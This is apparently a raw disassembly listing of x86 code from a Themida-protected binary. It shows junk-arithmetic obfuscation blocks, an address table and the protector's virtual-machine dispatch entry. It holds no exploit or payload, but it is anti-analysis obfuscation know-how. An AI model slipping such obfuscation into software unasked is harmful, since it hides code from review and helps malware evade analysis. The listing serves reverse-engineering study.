add [esp+8], edx
pop edx
add [esp+4], edx
jmp loc_59412E
; ---------------------------------------------------------------------------
loc_595667: ; CODE XREF: Themida_:0058D890j
add esp, 4
jmp loc_58E657
; ---------------------------------------------------------------------------
loc_59566F: ; CODE XREF: Themida_:0058DDA1j
sub esp, 4
mov [esp], ebx
push ebp
mov ebp, 5A4D496Ch
mov ebx, ebp
mov ebp, [esp]
add esp, 4
dec ebx
neg ebx
sub ebx, 672132DCh
push esi
mov esi, 30FA04B5h
jmp loc_59540C
; ---------------------------------------------------------------------------
loc_59569A: ; CODE XREF: Themida_:00595799j
mov ebp, ecx
pop ecx
sub ebp, 50CF4BE8h
sub ebp, edi
sub esp, 4
mov [esp], eax
mov eax, 0F2F41E6h
jmp loc_59428E
; ---------------------------------------------------------------------------
loc_5956B8: ; CODE XREF: Themida_:0058AA37j
add eax, 278B7E5Bh
pop esi
sub esp, 4
mov [esp], edi
mov edi, 4
add eax, 92E4804h
add eax, edi
sub eax, 92E4804h
pop edi
xchg eax, [esp]
pop esp
jmp loc_589462
; ---------------------------------------------------------------------------
loc_5956DF: ; CODE XREF: Themida_:00592899j
xchg esi, [esp]
pop esp
push dword ptr [esp]
mov edx, [esp]
jmp loc_58ACF6
; ---------------------------------------------------------------------------
loc_5956EE: ; CODE XREF: Themida_:0058ABD4j
or ah, dh
pop edx
not ah
shr ah, 6
push bx
mov bl, 0C8h
add ah, bl
jmp loc_5906BB
; ---------------------------------------------------------------------------
loc_595701: ; CODE XREF: Themida_:005941ACj
pop edx
jmp loc_58BB7D
; ---------------------------------------------------------------------------
loc_595707: ; CODE XREF: Themida_:005937FDj
mov [esp], ecx
push ebx
mov ebx, 11347240h
jmp loc_58F3C6
; ---------------------------------------------------------------------------
loc_595715: ; CODE XREF: Themida_:00594920j
pop edx
jmp loc_592C4A
; ---------------------------------------------------------------------------
loc_59571B: ; CODE XREF: Themida_:0058C1D9j
pop esi
push edi
push 774D74A4h
pop edi
jmp loc_58D507
; ---------------------------------------------------------------------------
loc_595728: ; CODE XREF: Themida_:005942D5j
push esi
mov esi, 80A3904h
inc esi
sub esi, 135F5242h
and esi, 0B912905h
or esi, 20CD7E75h
shl esi, 8
add esi, 942F9EB7h
sub ebp, esi
pop esi
or ebp, 42B573A6h
sub ebp, 0C3F57FA2h
push ebp
sub dword ptr [esp], 497BE9h
pop eax
add eax, 497BE9h
pop ebp
add ebp, eax
jmp loc_594277
; ---------------------------------------------------------------------------
loc_59576F: ; CODE XREF: Themida_:0058C61Ej
push ecx
push eax
push 20861AEBh
pop eax
inc eax
neg eax
not eax
xor eax, 4F1917ACh
mov ecx, eax
pop eax
mov edi, 25C23D38h
xor edi, ecx
pop ecx
push ecx
push 1AD06F03h
pop ecx
xor ecx, 99016D54h
jmp loc_59569A
; ---------------------------------------------------------------------------
loc_59579E: ; CODE XREF: Themida_:0058BC14j
push ebp
mov ebp, 10E72D99h
jmp loc_589DA1
; ---------------------------------------------------------------------------
loc_5957A9: ; CODE XREF: Themida_:0058C887j
sub esi, 74453F93h
not esi
inc esi
add esi, 5DDE47DEh
and edx, esi
pop esi
inc edx
jmp loc_58CF2D
; ---------------------------------------------------------------------------
loc_5957C1: ; CODE XREF: Themida_:00594E9Cj
push 5D11h
mov [esp], ebx
jmp loc_58A6FC
; ---------------------------------------------------------------------------
loc_5957CE: ; CODE XREF: Themida_:005946CBj
shr eax, 3
sub eax, 14ACD05Fh
add ebx, eax
pop eax
sub ebx, 159A3658h
pop small word ptr [eax]
jmp loc_58ED6F
; ---------------------------------------------------------------------------
loc_5957E7: ; CODE XREF: Themida_:005938FAj
mov eax, 3F15637Dh
add ebx, 491E4236h
add ebx, eax
sub ebx, 491E4236h
pop eax
push ebx
mov ebx, 29F68F0h
and ebx, 60DF252Ah
push edi
mov edi, 28567EBCh
add ebx, edi
pop edi
and ebx, 2B7D6D31h
jmp loc_58DC6F
; ---------------------------------------------------------------------------
loc_59581B: ; CODE XREF: Themida_:0058F165j
pop esp
not esi
push 4BFAh
mov [esp], eax
push esi
pop eax
push dword ptr [esp]
mov esi, [esp]
add esp, 4
jmp loc_58E719
; ---------------------------------------------------------------------------
loc_595836: ; CODE XREF: Themida_:005942B9j
mov esi, 0C027F86h
jmp loc_590F47
; ---------------------------------------------------------------------------
loc_595840: ; CODE XREF: Themida_:00592585j
pop esi
push 3ADFh
mov [esp], edx
jmp loc_590D35
; ---------------------------------------------------------------------------
loc_59584E: ; CODE XREF: Themida_:005954BFj
add edi, 4E7C4B2Bh
mov ecx, [esp]
push eax
mov eax, esp
jmp loc_589E76
; ---------------------------------------------------------------------------
loc_59585F: ; CODE XREF: Themida_:00590B60j
push esi
mov esi, 4
add eax, esi
pop esi
add eax, 4
jmp loc_590450
; ---------------------------------------------------------------------------
loc_595870: ; CODE XREF: Themida_:00592A2Dj
add edx, ebp
pop ebp
add edx, 4
jmp loc_58AC45
; ---------------------------------------------------------------------------
loc_59587E: ; CODE XREF: Themida_:00591209j
add dh, 0FFh
shl dh, 6
inc dh
sub dh, 2
sub cl, dh
jmp loc_590B23
; ---------------------------------------------------------------------------
loc_595890: ; CODE XREF: Themida_:0058D745j
add ch, dh
pop edx
add bl, ch
push dword ptr [esp]
pop ecx
add esp, 4
jmp loc_589ACE
; ---------------------------------------------------------------------------
loc_5958A1: ; CODE XREF: Themida_:0058AA07j
add edx, 65696D19h
mov ebp, edx
pop edx
jmp loc_590C0B
; ---------------------------------------------------------------------------
loc_5958AF: ; CODE XREF: Themida_:0058E8DCj
add esi, 268A21F6h
jmp loc_59017F
; ---------------------------------------------------------------------------
loc_5958BA: ; CODE XREF: Themida_:0058B7D0j
sub edi, ecx
pop ecx
pop ebp
jmp loc_590F84
; ---------------------------------------------------------------------------
loc_5958C3: ; CODE XREF: Themida_:0058E62Ej
add ebp, 129C532Eh
xor ebp, 14510331h
add edi, ebp
jmp loc_58E1A1
; ---------------------------------------------------------------------------
loc_5958D6: ; CODE XREF: Themida_:0058B3ACj
push edi
mov edi, 4A106CCDh
inc edi
jmp loc_58CAB4
; ---------------------------------------------------------------------------
loc_5958E2: ; CODE XREF: Themida_:00591444j
pop ecx
xor esi, [esp]
xor [esp], esi
xor esi, [esp]
mov esp, [esp]
mov [esp], eax
jmp loc_589462
; ---------------------------------------------------------------------------
loc_5958F7: ; CODE XREF: Themida_:005948A5j
mov [esp], eax
mov eax, esp
add eax, 4
sub eax, 4
xchg eax, [esp]
pop esp
mov [esp], ebp
mov ebp, esp
push esi
jmp loc_58D0CD
; ---------------------------------------------------------------------------
loc_595915: ; CODE XREF: Themida_:00590FA2j
not ah
jmp loc_58976F
; ---------------------------------------------------------------------------
loc_59591C: ; CODE XREF: Themida_:0058CEC2j
dec ebp
push edx
mov edx, 46CA1293h
add ebp, edx
pop edx
shl ebp, 7
sub ebp, 0FC67797Ch
jmp loc_58A0AA
; ---------------------------------------------------------------------------
loc_595934: ; CODE XREF: Themida_:0058965Cj
xor eax, ebx
push dword ptr [esp]
mov ebx, [esp]
add esp, 4
push edi
mov edi, esp
add edi, 4
push ebp
jmp loc_59446D
; ---------------------------------------------------------------------------
loc_59594E: ; CODE XREF: Themida_:0058F266j
mov cl, bl
pop ebx
push bx
mov bh, 78h
or cl, bh
jmp loc_58B801
; ---------------------------------------------------------------------------
loc_59595C: ; CODE XREF: Themida_:0058CD5Bj
pop eax
mov edi, [esp]
add esp, 4
jmp loc_58C5C8
; ---------------------------------------------------------------------------
loc_595968: ; CODE XREF: Themida_:00594272j
push edx
jmp loc_589F4B
; ---------------------------------------------------------------------------
loc_59596E: ; CODE XREF: Themida_:005949D9j
mov edi, [esp]
add esp, 4
jmp loc_589C64
; ---------------------------------------------------------------------------
loc_595979: ; CODE XREF: Themida_:0058FAECj
pop esp
sub dword ptr [esp], 3DE21984h
push esi
mov esi, 6B7945B9h
push ebp
mov ebp, 1780D50h
add [esp+8], ebp
mov ebp, [esp]
add esp, 4
add dword ptr [esp+4], 0B3A59A3h
add [esp+4], esi
sub dword ptr [esp+4], 0B3A59A3h
sub dword ptr [esp+4], 1780D50h
push dword ptr [esp]
jmp loc_593DD7
; ---------------------------------------------------------------------------
loc_5959BB: ; CODE XREF: Themida_:0058951Aj
add esp, 4
push eax
push ebp
jmp loc_5942D0
; ---------------------------------------------------------------------------
loc_5959C8: ; CODE XREF: Themida_:00589764j
push eax
mov eax, 0FFFFFFFFh
add edx, eax
pop eax
jmp loc_58FC2C
; ---------------------------------------------------------------------------
loc_5959D6: ; CODE XREF: Themida_:0058BC0Dj
jmp loc_589462
; ---------------------------------------------------------------------------
loc_5959DB: ; CODE XREF: Themida_:00592871j
pop esi
shl edx, 7
add edx, 37A06370h
xor edx, 7F8A099Ch
sub edx, 1
shl edx, 7
push eax
mov eax, 6D7D2EC8h
dec eax
not eax
add eax, 17F85535h
xor eax, 20F23C60h
xor eax, 0E2C06F71h
sub edx, eax
pop eax
add esi, edx
pop edx
add esi, 2
xchg esi, [esp]
mov esp, [esp]
test cx, ax
pushf
jmp loc_589462
; ---------------------------------------------------------------------------
loc_595A21: ; CODE XREF: Themida_:0058E778j
pop edi
add ebx, 266C5D40h
add ebx, ecx
sub ebx, 266C5D40h
pop ecx
jmp loc_58E8A8
; ---------------------------------------------------------------------------
loc_595A36: ; CODE XREF: Themida_:0059395Aj
not edi
jmp loc_59179F
; ---------------------------------------------------------------------------
loc_595A3D: ; CODE XREF: Themida_:00590CDFj
pop edx
xchg ebx, [esp]
pop esp
shr ecx, 0
or eax, eax
jz loc_58B303
push 50A3h
mov [esp], ebx
push 1A47h
mov [esp], eax
jmp loc_593E5C
; ---------------------------------------------------------------------------
loc_595A62: ; CODE XREF: Themida_:0058BC25j
add esp, 4
jmp loc_5940CD
; ---------------------------------------------------------------------------
loc_595A6A: ; CODE XREF: Themida_:0058A6B1j
sub edx, esi
jmp loc_592186
; ---------------------------------------------------------------------------
loc_595A71: ; CODE XREF: Themida_:005932FEj
or eax, 35C6117Dh
sub eax, 14A02DD7h
jmp loc_593023
; ---------------------------------------------------------------------------
loc_595A80: ; CODE XREF: Themida_:0058BB8Dj
add esi, 0FCDE072Bh
xor edi, esi
pop esi
add edi, 1
shr edi, 5
jmp loc_5909D9
; ---------------------------------------------------------------------------
loc_595A97: ; CODE XREF: Themida_:0058F574j
pop edx
sub al, 0D2h
sub al, dh
sub esp, 4
jmp loc_58E6F9
; ---------------------------------------------------------------------------
loc_595AA7: ; CODE XREF: Themida_:0058E74Aj
mov eax, esp
add eax, 4
sub eax, 4
xchg eax, [esp]
pop esp
mov [esp], ebx
mov ebx, 2
push edx
mov edx, 61FD35CCh
dec edx
add edx, 0A8950323h
shl edx, 2
shr edx, 6
xchg ebx, edx
neg ebx
xchg ebx, edx
add edx, 1
and edx, 746F54C4h
jmp loc_593F3C
; ---------------------------------------------------------------------------
loc_595AE4: ; CODE XREF: Themida_:00595B2Bj
pop ecx
push edx
mov edx, 19A242E7h
jmp loc_5915F2
; ---------------------------------------------------------------------------
loc_595AF0: ; CODE XREF: Themida_:0058C655j
push ebx
jmp loc_589EF3
; ---------------------------------------------------------------------------
loc_595AF6: ; CODE XREF: Themida_:0058A3EEj
mov [esp], eax
push dx
mov dh, 40h
push ecx
push ebx
mov bl, dh
mov cl, bl
pop ebx
mov al, cl
pop ecx
mov dx, [esp]
jmp loc_594432
; ---------------------------------------------------------------------------
loc_595B10: ; CODE XREF: Themida_:0058A707j
mov ebx, esp
push ecx
mov ecx, 4
add ebx, ecx
pop ecx
jmp loc_58F155
; ---------------------------------------------------------------------------
loc_595B20: ; CODE XREF: Themida_:0058B458j
mov [esp], ecx
push ebx
sub dword ptr [esp], 8301B46h
jmp loc_595AE4
; ---------------------------------------------------------------------------
loc_595B30: ; CODE XREF: Themida_:005900C6j
mov ebp, 17055373h
xor ebp, 0ABE15BCh
add ebp, 0E244B931h
jmp loc_594D01
; ---------------------------------------------------------------------------
loc_595B46: ; CODE XREF: Themida_:0058F966j
push ecx
jmp loc_590990
; ---------------------------------------------------------------------------
loc_595B4C: ; CODE XREF: Themida_:00592C45j
mov edx, 0C4F2D1Bh
push edi
mov edi, 79787872h
shr edi, 7
or edi, 4242638h
jmp loc_589F5C
; ---------------------------------------------------------------------------
db 6Ah, 0BDh, 6Eh
dd 5EFA2C71h, 0
dd 12FF4C00h, 90EB9400h, 0B014697Ch, 5EEF29F8h, 20300h
dd 200h, 100h, 300h, 0B0146900h, 0F8h, 4 dup(0)
dd 5A6E2400h, 5A1A7800h, 59BC4200h, 59754600h, 5A42E100h
dd 59DB8E00h, 5A01E600h, 5A5BA100h, 597B1B00h, 59919100h
dd 59F30600h, 5AA34F00h, 5AB1E500h, 5A5EDF00h, 5A82F400h
dd 59A62200h, 5A335200h, 59A50000h, 59E56600h, 5A548D00h
dd 5A649000h, 5A197600h, 5A2FBC00h, 5A54B000h, 5A083400h
dd 59FE3000h, 5A1B9B00h, 59E79B00h, 59F8D400h, 5A51F900h
dd 59EEC100h, 5995EF00h, 59F18700h, 5A11FF00h, 59A2F500h
dd 59D71B00h, 5A5B2600h, 5A943800h, 5AA69000h, 5A92BE00h
dd 59748300h, 5AAD0900h, 5A792D00h, 5969F200h, 59BF2F00h
dd 5A967E00h, 59DA5600h, 5A8E7700h, 5A1F3600h, 5AA27900h
dd 5A18CE00h, 599B3B00h, 5A41B000h, 59E92300h, 59DB3F00h
dd 5A4B1C00h, 5A3FB200h, 59B0E900h, 598B3000h, 5A0D7C00h
dd 5AA56D00h, 59C6FF00h, 5AAED700h, 59CBD600h, 5A3F3200h
dd 5A6D1000h, 5A716800h, 59700C00h, 59F44E00h, 59E53800h
dd 5A794400h, 5A11F000h, 59E1DA00h, 5A117100h, 5A5C1600h
dd 59E44E00h, 596CBC00h, 597F2000h, 5AAB6300h, 5A533500h
dd 59BE4400h, 5A447000h, 5A452B00h, 5A63F400h, 5A9D8100h
dd 59AA2200h, 5A200B00h, 5A9B9B00h, 5A044500h, 59AFE800h
dd 5A8B3600h, 5A601100h, 5962D400h, 5AA02D00h, 5A3EEF00h
dd 5A4C7B00h, 597D8000h, 5A0D0F00h, 599FC100h, 59936200h
dd 59C82700h, 5A742E00h, 5A050A00h, 5A8B8E00h, 59A04B00h
dd 59925200h, 5975D600h, 59C4B900h, 5A929600h, 5A511400h
dd 5A171600h, 5A65E900h, 5A192D00h, 59B4C900h, 5963C500h
dd 59C4E500h, 59A05A00h, 59607500h, 59DF6900h, 59756900h
dd 59C96A00h, 59DDD700h, 597E8B00h, 5A581800h, 597F6000h
dd 597BA200h, 5A1E1100h, 5A77DA00h, 59F78000h, 5A5F7C00h
dd 5A63DF00h, 59C9D900h, 5A6B2D00h, 597CA400h, 5A09B500h
dd 5A619800h, 5A987F00h, 59874E00h, 5A719A00h, 59609B00h
dd 5A103C00h, 5A6F9C00h, 5A405100h, 59AC7B00h, 59696B00h
dd 596BD800h, 5A287600h, 59FD6F00h, 5A307E00h, 59C1AC00h
dd 5996C100h, 59CDD800h, 5A3AA000h, 598D6400h, 59E81800h
dd 5A77FE00h, 5A02D800h, 5A769600h, 5A067C00h, 59A83D00h
dd 5A573500h, 5A60F500h, 59825400h, 5AA4FE00h, 5A52B200h
dd 5AA92E00h, 5A16AD00h
db 0
; ---------------------------------------------------------------------------
loc_595E45: ; CODE XREF: Themida_:005D8694j
; Themida_:005DB736j ...
pusha
pushf
cld
call $+5
pop edi
sub edi, 7A949E4h
mov eax, edi
add edi, 7A946FCh
cmp eax, [edi+2Ch]
jnz short loc_595E63
jmp short loc_595E76
; ---------------------------------------------------------------------------
loc_595E63: ; CODE XREF: Themida_:00595E5Fj
mov [edi+2Ch], eax
mov ecx, 0A7h
jmp short loc_595E72
; ---------------------------------------------------------------------------
loc_595E6D: ; CODE XREF: Themida_:00595E74j
add [edi+ecx*4+40h], eax
dec ecx
loc_595E72: ; CODE XREF: Themida_:00595E6Bj
or ecx, ecx
jnz short loc_595E6D
loc_595E76: ; CODE XREF: Themida_:00595E61j
mov esi, [esp+24h]
mov ebx, esi
add esi, eax
mov ecx, 1
loc_595E83: ; CODE XREF: Themida_:00595E8Aj
xor eax, eax
lock cmpxchg [edi+30h], ecx
jnz short loc_595E83
loc_595E8C: ; CODE XREF: Themida_:00596040j
; Themida_:0059605Dj ...
lodsb
push edx
jmp loc_597A47
; ---------------------------------------------------------------------------
loc_595E93: ; CODE XREF: Themida_:005AA37Dj
mov [esp], ecx
sub esp, 4
mov [esp], esp
add dword ptr [esp], 4
pop ecx
add ecx, 4
sub ecx, 4
xchg ecx, [esp]
pop esp
jmp loc_5A6239
; ---------------------------------------------------------------------------
loc_595EB3: ; CODE XREF: Themida_:0059C85Cj
mov edi, eax
mov eax, [esp]
add esp, 4
xor edi, 5178398Bh
add edx, 268E6C1Ah
jmp loc_59F5A5
; ---------------------------------------------------------------------------
loc_595ECC: ; CODE XREF: Themida_:005A4185j
push dword ptr [esp]
mov ecx, [esp]
add esp, 4
jmp loc_5A6E58
; ---------------------------------------------------------------------------
loc_595EDA: ; CODE XREF: Themida_:005AA4D7j
push ebx
push 29C3C2Ch
pop ebx
jmp loc_5A5A95
; ---------------------------------------------------------------------------
loc_595EE6: ; CODE XREF: Themida_:005999CBj
sub dword ptr [esp+4], 5B9138ABh
sub [esp+4], edi
add dword ptr [esp+4], 5B9138ABh
sub dword ptr [esp+4], 46217B31h
jmp loc_5A67F9
; ---------------------------------------------------------------------------
loc_595F07: ; CODE XREF: Themida_:005A2B14j
add edi, edx
mov edx, [esp]
push ebp
mov ebp, esp
add ebp, 4
add ebp, 4
xchg ebp, [esp]
pop esp
jmp loc_5A7253
; ---------------------------------------------------------------------------
loc_595F21: ; CODE XREF: Themida_:0059855Dj
mov ebp, esp
add ebp, 4
add ebp, 4
xchg ebp, [esp]
jmp loc_5983BB
; ---------------------------------------------------------------------------
loc_595F37: ; CODE XREF: Themida_:0059E6ABj
pop esp
push ebx
mov ebx, esp
add ebx, 4
push ebp
jmp loc_59CFC9
; ---------------------------------------------------------------------------
loc_595F47: ; CODE XREF: Themida_:005A72AEj
mov ecx, [esp]
add esp, 4
push 5642h
mov [esp], edi
jmp loc_5A8B57
; ---------------------------------------------------------------------------
loc_595F5D: ; CODE XREF: Themida_:005AB1D5j
mov [esp], ecx
push dword ptr [esp]
mov edi, [esp]
add esp, 4
add esp, 4
mov ecx, [esp]
push ebx
mov ebx, esp
add ebx, 4
jmp loc_59C88C
; ---------------------------------------------------------------------------
loc_595F7D: ; CODE XREF: Themida_:00597D5Cj
mov eax, 1B332E27h
mov edx, eax
jmp loc_5A0EA1
; ---------------------------------------------------------------------------
loc_595F89: ; CODE XREF: Themida_:005A5047j
sub edi, 5637648h
push edx
mov edx, 0EAD568ADh
add edi, edx
pop edx
sub ebx, edi
pop edi
xor ebx, 1FE631AFh
add ecx, ebx
mov ebx, [esp]
add esp, 4
sub ecx, 4
xor ecx, [esp]
xor [esp], ecx
xor ecx, [esp]
jmp loc_5A7312
; ---------------------------------------------------------------------------
loc_595FC0: ; CODE XREF: Themida_:0059880Cj
xor ecx, 34862881h
neg ecx
xchg ebp, ecx
jmp loc_59FD0E
; ---------------------------------------------------------------------------
loc_595FCF: ; CODE XREF: Themida_:005AA21Fj
push 3D9Bh
mov [esp], ebx
mov ebx, 4F982CB5h
sub ebx, 448D7572h
shl ebx, 7
add ebx, 0D73EEAh
xor ebx, 8632E06Eh
push edi
mov edi, ebx
mov edx, edi
pop edi
pop ebx
add ebp, 71B54E0Fh
add ebp, edx
sub ebp, 71B54E0Fh
jmp loc_5A557C
; ---------------------------------------------------------------------------
loc_59600B: ; CODE XREF: Themida_:005A299Cj
push eax
mov eax, 32522893h
shl eax, 6
jmp loc_5A0E12
; ---------------------------------------------------------------------------
loc_596019: ; CODE XREF: Themida_:0059CE01j
mov [esp], ebx
push esi
jmp loc_5A8D1F
; ---------------------------------------------------------------------------
loc_596022: ; CODE XREF: Themida_:0059E813j
sub esp, 4
mov [esp], ebx
jmp loc_5968D7
; ---------------------------------------------------------------------------
loc_59602D: ; CODE XREF: Themida_:0059BB38j
xor edi, ebx
pop ebx
jmp loc_5A518F
; ---------------------------------------------------------------------------
loc_596035: ; CODE XREF: Themida_:0059D7BDj
pop edi
pop dword ptr [esp]
mov esp, [esp]
and [esp], eax
pushf
jmp loc_595E8C
; ---------------------------------------------------------------------------
loc_596045: ; CODE XREF: Themida_:005AAC93j
push ecx
mov ecx, 0D9118C82h
add ebx, ecx
pop ecx
jmp loc_596E48
; ---------------------------------------------------------------------------
loc_596053: ; CODE XREF: Themida_:005A7283j
add esp, 4
add esi, 4
xchg esi, [esp]
pop esp
jmp loc_595E8C
; ---------------------------------------------------------------------------
loc_596062: ; CODE XREF: Themida_:005A373Aj
mov ecx, [esp]
jmp loc_59CF77
; ---------------------------------------------------------------------------
loc_59606A: ; CODE XREF: Themida_:005A36A6j
sub esi, edi
pop edi
xchg esi, [esp]
jmp loc_59BFD3
; ---------------------------------------------------------------------------
push dword ptr [edx]
jmp loc_595E8C
; ---------------------------------------------------------------------------
loc_59607C: ; CODE XREF: Themida_:005AA899j
mov edi, 10B6159h
shl edi, 7
push 0
sub [esp], edi
pop edi
xor edi, 6164904h
sub eax, edi
pop edi
jmp loc_5A93F5
; ---------------------------------------------------------------------------
mov ax, [esp]
sub esp, 4
jmp loc_5A9C10
; ---------------------------------------------------------------------------
loc_5960A7: ; CODE XREF: Themida_:00597F23j
push edi
mov edi, esp
push ebp
push edi
mov edi, 5A631F8Eh
jmp loc_5A9488
; ---------------------------------------------------------------------------
loc_5960B6: ; CODE XREF: Themida_:0059A827j
sub eax, 4
xchg eax, [esp]
pop esp
mov [esp], edi
push ecx
push ebx
mov ebx, 5DCB274Ch
mov ecx, ebx
pop ebx
jmp loc_5A8EF6
; ---------------------------------------------------------------------------
loc_5960CF: ; CODE XREF: Themida_:0059C392j
mov ecx, [esp]
add esp, 4
push ecx
mov ecx, esp
add ecx, 4
jmp loc_599E24
; ---------------------------------------------------------------------------
loc_5960E3: ; CODE XREF: Themida_:0059E827j
push esp
jmp loc_596C22
; ---------------------------------------------------------------------------
loc_5960E9: ; CODE XREF: Themida_:005AB01Fj
pop ebx
loc_5960EA: ; CODE XREF: Themida_:00596E18j
; Themida_:005A6678j
push dword ptr [esp]
jmp loc_59D978
; ---------------------------------------------------------------------------
loc_5960F2: ; CODE XREF: Themida_:005A7110j
mov edx, [esp]
add esp, 4
push 4E12h
mov [esp], ebp
jmp loc_5A3124
; ---------------------------------------------------------------------------
loc_596108: ; CODE XREF: Themida_:0059E595j
sub ebp, 546D6FDFh
pop eax
sub esp, 4
jmp loc_5A422D
; ---------------------------------------------------------------------------
loc_59611A: ; CODE XREF: Themida_:005A54D6j
add esp, 4
push edi
push ax
push small 9F8h
mov [esp], bp
mov bp, 68A0h
xor [esp+2], bp
jmp loc_597F28
; ---------------------------------------------------------------------------
loc_596136: ; CODE XREF: Themida_:00598CDAj
xor eax, edi
xor edi, eax
xor eax, edi
push edi
push 1A1Eh
mov [esp], esi
jmp loc_5992EF
; ---------------------------------------------------------------------------
loc_59614A: ; CODE XREF: Themida_:0059AEB9j
xchg edi, [esp]
pop esp
mov [esp], ebx
mov ebx, esp
push ebp
jmp loc_5A6716
; ---------------------------------------------------------------------------
loc_596159: ; CODE XREF: Themida_:005A836Aj
mov ebx, [esp]
add esp, 4
add ebx, 4
push eax
jmp loc_59B894
; ---------------------------------------------------------------------------
loc_59616E: ; CODE XREF: Themida_:00597D7Bj
add ebp, 4
xchg ebp, [esp]
pop esp
jmp loc_597014
; ---------------------------------------------------------------------------
loc_59617D: ; CODE XREF: Themida_:00599B77j
sub edx, 15C92B01h
push ecx
mov ecx, 711A56A4h
sub esp, 4
mov [esp], edx
mov edx, 5C5C58EBh
and ecx, edx
push dword ptr [esp]
jmp loc_59BAAB
; ---------------------------------------------------------------------------
loc_59619E: ; CODE XREF: Themida_:005A1D94j
sub eax, ebp
jmp loc_599BDF
; ---------------------------------------------------------------------------
loc_5961A5: ; CODE XREF: Themida_:00598717j
push esi
mov esi, 670063F7h
mov ebp, esi
pop esi
add ebx, 5D7A465Bh
sub ebx, ebp
jmp loc_5A6616
; ---------------------------------------------------------------------------
loc_5961BB: ; CODE XREF: Themida_:005A7247j
pop dx
not cl
xchg cl, bh
add bh, 53h
push 2AACh
jmp loc_598D6D
; ---------------------------------------------------------------------------
loc_5961CE: ; CODE XREF: Themida_:005A6EF1j
xchg esi, [esp]
pop esp
jmp loc_5A6F1D
; ---------------------------------------------------------------------------
loc_5961D7: ; CODE XREF: Themida_:00598107j
add edx, edi
sub edx, 6DD654AEh
sub edx, 741E5BA6h
add edx, 46176DE4h
push ecx
push edi
mov edi, 2D111FEBh
mov ecx, 2D111FEBh
xor ecx, edi
pop edi
add ecx, edx
mov [ecx], eax
mov ecx, [esp]
add esp, 4
jmp loc_59B595
; ---------------------------------------------------------------------------
loc_596209: ; CODE XREF: Themida_:00596A9Cj
mov dl, ch
pop ecx
jmp loc_59B763
; ---------------------------------------------------------------------------
loc_596211: ; CODE XREF: Themida_:0059E401j
mov edi, 2FD87985h
add edi, 5AB618ABh
sub edi, 42576B48h
jmp loc_5A851F
; ---------------------------------------------------------------------------
loc_596227: ; CODE XREF: Themida_:0059A293j
mov edx, [esp]
jmp loc_599465
; ---------------------------------------------------------------------------
loc_59622F: ; CODE XREF: Themida_:005A4CE1j
mov edx, 0FEh
push 1826h
mov [esp], edx
mov ecx, [esp]
add esp, 4
mov edx, [esp]
push edx
push esp
pop edx
jmp loc_5A7D8D
; ---------------------------------------------------------------------------
loc_59624D: ; CODE XREF: Themida_:005A34EEj
mov eax, 4
sub ebx, eax
mov eax, [esp]
jmp loc_59858C
; ---------------------------------------------------------------------------
loc_59625C: ; CODE XREF: Themida_:005A6D0Bj
push ebx
push ecx
mov ecx, 315C2FCDh
not ecx
sub ecx, 5E188D88h
mov ebx, ecx
pop ecx
dec ebx
jmp loc_5A38DF
; ---------------------------------------------------------------------------
loc_596274: ; CODE XREF: Themida_:005A065Ej
mov [esp], edx
push esi
mov esi, 3BF96C2Ah
mov edx, esi
pop esi
jmp loc_5A353B
; ---------------------------------------------------------------------------
loc_596285: ; CODE XREF: Themida_:005AA1CDj
dec ebp
jmp loc_59992C
; ---------------------------------------------------------------------------
loc_59628B: ; CODE XREF: Themida_:005A50C2j
sub al, 0DBh
add al, dl
add al, 0DBh
add al, 0DCh
mov edx, [esp]
jmp loc_598AE3
; ---------------------------------------------------------------------------
loc_59629B: ; CODE XREF: Themida_:005AB492j
push esi
jmp loc_5A423C
; ---------------------------------------------------------------------------
loc_5962A1: ; CODE XREF: Themida_:005A3789j
xor edx, [esp]
xor [esp], edx
xor edx, [esp]
jmp loc_5A6DA3
; ---------------------------------------------------------------------------
loc_5962AF: ; CODE XREF: Themida_:00598162j
pop esi
add edi, eax
pop eax
push ecx
mov ecx, 5F927AFCh
sub ecx, 1A2804ADh
not ecx
or ecx, 0C105DA7h
add ecx, 416A224Dh
sub edi, ecx
jmp loc_59D13C
; ---------------------------------------------------------------------------
mov ax, [esp]
jmp loc_5A9820
; ---------------------------------------------------------------------------
loc_5962DD: ; CODE XREF: Themida_:005AB04Bj
add ebx, esi
jmp loc_599F00
; ---------------------------------------------------------------------------
loc_5962E4: ; CODE XREF: Themida_:005A848Fj
add bl, 64h
add bl, 0Fh
add bl, al
sub bl, 0Fh
push edx
mov dl, 6Ch
shl dl, 1
push ecx
jmp loc_5A4C31
; ---------------------------------------------------------------------------
loc_5962FA: ; CODE XREF: Themida_:005A9970j
mov [esp], ebx
push eax
mov al, 0E6h
jmp loc_5A6F0C
; ---------------------------------------------------------------------------
loc_596305: ; CODE XREF: Themida_:0059E64Dj
xchg eax, [esp]
pop esp
mov [esp], ecx
jmp loc_59B5A6
; ---------------------------------------------------------------------------
loc_596311: ; CODE XREF: Themida_:0059F77Bj
mov eax, 6B946B71h
mov ebp, eax
pop eax
sub eax, 21AD455Ah
add eax, ebp
add eax, 21AD455Ah
jmp loc_5A5939
; ---------------------------------------------------------------------------
loc_59632A: ; CODE XREF: Themida_:005A7B1Aj
mov [esp], ax
jmp loc_595E8C
; ---------------------------------------------------------------------------
loc_596333: ; CODE XREF: Themida_:005A466Bj
mov esi, 9C20084h
add ebx, esi
pop esi
xor ebx, 7C553BC1h
sub ebx, 21A5716Ah
sub esi, 319F6687h
add esi, ebx
push eax
mov eax, 6282188Ch
jmp loc_59E3BF
; ---------------------------------------------------------------------------
loc_59635A: ; CODE XREF: Themida_:00599C91j
add edx, 0EAF2A6Eh
push esi
jmp loc_597823
; ---------------------------------------------------------------------------
loc_596366: ; CODE XREF: Themida_:0059A61Dj
shl edx, 1
push 7920h
jmp loc_59B8B6
; ---------------------------------------------------------------------------
loc_596372: ; CODE XREF: Themida_:0059B2F2j
xor esi, [esp]
xor [esp], esi
xor esi, [esp]
mov esp, [esp]
mov ax, [esp]
push 10ABh
jmp loc_5A20EF
; ---------------------------------------------------------------------------
loc_59638C: ; CODE XREF: Themida_:005A31FEj
jmp loc_595E8C
; ---------------------------------------------------------------------------
loc_596391: ; CODE XREF: Themida_:005A179Fj
add esi, 4
jmp loc_5A6143
; ---------------------------------------------------------------------------
loc_59639C: ; CODE XREF: Themida_:005AB3B6j
push esp
pop dword ptr [esp]
push ebp
jmp loc_5A1DE9
; ---------------------------------------------------------------------------
loc_5963A6: ; CODE XREF: Themida_:005A5534j
xor ebx, [esp]
jmp loc_59EED9
; ---------------------------------------------------------------------------
loc_5963AE: ; CODE XREF: Themida_:005964EDj
mov edi, [esp]
add esp, 4
push ecx
xchg ecx, [esp]
not ecx
xchg ecx, [esp]
jmp loc_59BC5B
